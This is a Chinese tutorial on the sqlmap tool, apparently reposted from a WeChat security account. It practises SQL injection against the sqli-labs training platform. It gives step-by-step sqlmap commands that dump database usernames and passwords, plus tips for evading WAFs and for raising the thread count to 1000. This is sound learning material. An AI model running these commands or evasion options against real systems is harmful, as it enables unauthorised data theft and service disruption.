sqlmap基础使用详解(以sqli_labs为例)

一、基于错误的GET型注入

如果确定该url下存在注入,直接把url扔到sqlmap

1 先探测当前数据库版本

语句:

sqlmap -u http://192.168.0.114:5555/Less-1/?id=1--current-db

2 知道数据库名,探测表名

语句:

sqlmap -u http://192.168.0.114:5555/Less-1/?id=1-D"security" --tables -v3

--tables 列出当前数据库下的所有表名

-v3 显示注入的payload

-v #详细的等级(0-6)

0:只显示Python的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。

3:显示有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容

3 探测列名

语句:

sqlmap -u http://192.168.0.114:5555/Less-1/?id=1-D"security" -T"users" --columns -v3

--columns 列出当前表下的所有字段

4 最后dunp用户名密码

语句:

sqlmap -uhttp://192.168.0.114:5555/Less-1/?id=1 -D"security"-T"users" -C"username,password" --dump -v3

二、基于错误的POST型注入

Post型注入,个人最喜欢的方式就是,burp抓包,然后sqlmap直接跑包。

打开sql_labs演练平台,选择第十一关,登录账户密码我们不知道,所随便输入一个

把数据包内容复制到一个post.txt

放在root目录下

Sqlmap语句:

sqlmap -r"/root/post.txt" -p"uname"--dbms mysql –dbs

这条语句是直接列出所有数据库

-r 指定post数据包的路径

-p 指定进行测试注入点的参数,这里指定 uname

我们还可以指定注测试的等级(1-5,默认为1),用—level (1-5)

sqlmap -r"/root/post.txt" -p"uname"--dbms mysql –dbs –level 3

这个参数不仅影响使用哪些payload,同时也会影响测试的注入点,

不管level设置多少,GET和POST的数据都会测试,

level 2,会测试HTTP Cookie

level 3,就会测试HTTPUser-Agent/Referer头

总之在不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

我们目前要的是当前数据库名,所以sqlmap语句如下

sqlmap -r"/root/post.txt" -p"uname"--dbms mysql –current-db

剩下的语句可以参照上面基于get型错误注入的语句。这里就不再重复

三、基于时间的盲注(GET)

这里以sql_libs第九关为例

下图是sqlmap语句探测的结果

Sqlmap –u” http://192.168.0.114:5555/Less-9/?id=1”–dbms mysql

Sqlmap探测出来的是存在布尔型注入和时间注入

我们这里以时间盲注来说

Sqlmap –u” http://192.168.0.114:5555/Less-9/?id=1”–dbms mysql –current-db

先探测出数据库名

Secutity

这个不再详解,上面已经有详细说明

既然是时间盲注,我们构造sqlmap语句

Sqlmap语句

sqlmap -u"http://192.168.0.114:5555/Less-9/?id=1"--dbms mysql -D"security" --tables --time-sec 10 -v3

--time-sec 10 设置延时时间位10秒

下面是sqlmap的payload

Sqlmap默认线程是10

可以进去配置文件设置,但是要主要,别设置太高了,容易把扫挂

【修改方法】

找到settings.py文件,具体在\lib\core\目录下

找到

# Maximum number of threads (avoidingconnection issues and/or DoS)

MAX_NUMBER_OF_THREADS = 10

【将↓】

MAX_NUMBER_OF_THREADS = 10

修改为MAX_NUMBER_OF_THREADS= 1000

这个数字可以任意设置,具体根据目标站的情况来比较好。

四、基于user-agent/referer头的注入

这里以sql_labs第十八关为例

保存名字位uagent.txt,放在root下面

Sqlmap语句

sqlmap -r"/root/uagent.txt" -p"user-agent"--dbms mysql --risk 3 -v 3

--level 3 测试等级为3,sqlmap才会去测试user-agent是否存在注入

这个测试遇到很多问题,一个sqlmap跑得慢,一个是一直找不到注入点

网上也有写说sqlmap没办法注入insert这类的语句。

后面在一遍文章看到了,在要注入的地方加个*试试,结果成功了。我这里是直接在uagent.txt里面的user-agent的值后面加了个*号,如下图

(注:这种方式是不是正确的不敢确定,如果有不对欢迎大佬指出,但是我这里测试的时候,是可以跑到最后得出用户名和密码的)

五、cookie注入

Burp抓包,扔进sqlmap

语句

sqlmap -r"/root/cookie.txt" --cookie --dbms mysql--level 2 -v 3

记录下几个有用的参数

1

HTTP User-Agent头

参数:--user-agent,--random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。

例:

sqlmap -u "url" --random-agent -v2

#使用任意浏览器进行绕过,尤其是在WAF配置不当的时候

2

sqlmap -u "url" --hpp -v 3

#使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS平台上

3

sqlmap -u "url" --delay=3.5--time-sec=60

#使用长的延时来避免触发WAF的机制,这方式比较耗时

4

sqlmap -u "url" --thread 10--identify-waf#首选

sqlmap -u "" --thread 10 --check-waf#备选

#进行检测是否有WAF/IPS/IDS

5

遇到伪静态,直接在参数后面加上*,其他的都一样

Sqlmap –u http://xxxx/xxx/xx/a*.html–dbms mysql

6

参数:--second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。--second-order后门跟一个判断页面的URL地址。

7

参数:--mobile

模仿智能手机

有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。

还有很多好用的参数,网络上也很多资料。

有听一个大佬说过,想学sql注入,有能力的话可以读下sqlmap源码,会有更进一步的理解。

原文发布于微信公众号 - 网络安全社区悦信安(yuexin_an)

原文发表时间:2017-08-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏云计算教程系列

使用Capistrano,Nginx和Puma在Ubuntu 14.04上部署Rails应用程序

Rails是一个用Ruby编写的开源Web应用程序框架。Nginx是一种高性能HTTP服务器,反向代理和负载均衡器,以其并发性,稳定性,可伸缩性和低内存消耗而著...

1584
来自专栏赵俊的Java专栏

Hexo 优化 --- Valine 扩展之邮件通知

6574
来自专栏华仔的技术笔记

Block类型变量-缓存Http请求与回调

3446
来自专栏有趣的Python

最新Django2.0.1在线教育零基础到上线教程(六)4-10

演示地址: http://mxonline.mtianyan.cn 教程仓库地址1: https://github.com/mtianyan/DjangoGe...

5517
来自专栏云计算教程系列

开源资产管理系统Snipe-IT安装教程

在IT行业中,需要完整的生命周期跟踪资产的资产管理,包括采购,维护,存储和处置。Snipe-IT是专为IT资产管理而设计的免费开源应用程序,提供基于Web的界面...

1.3K4
来自专栏企鹅号快讯

用 Identity Server 4 来保护 Python web api

项目的早期后台源码: https://github.com/solenovex/asp.net-core-2.0-web-api-boilerplate 下面开...

2379
来自专栏java架构师

老生常谈GET和POST,以备常查

------------------- GET 和 POST 请求的区别 // --TCP/IP 协议详解卷3 13.3.1 报文类型:请求与响应 HTTP ...

3107
来自专栏软件开发

NodeJS+Express+MongoDB

一、MongoDB MongoDB是开源,高性能的NoSQL数据库;支持索引、集群、复制和故障转移、各种语言的驱动程序丰富;高伸缩性; MongoDB 是一个基...

7619
来自专栏王硕

原 Windows 64位下 PostgreSQL的编译

38811
来自专栏沈唁志

解决 TP3 框架 引入 Log.class.php 文件报错方法

朋友的这个问题真的很无语,可能会出现在使用 SVN 的情况下,使用 Git 进行团队开发忽略以后是不会出现这种问题的

2081

扫码关注云+社区

领取腾讯云代金券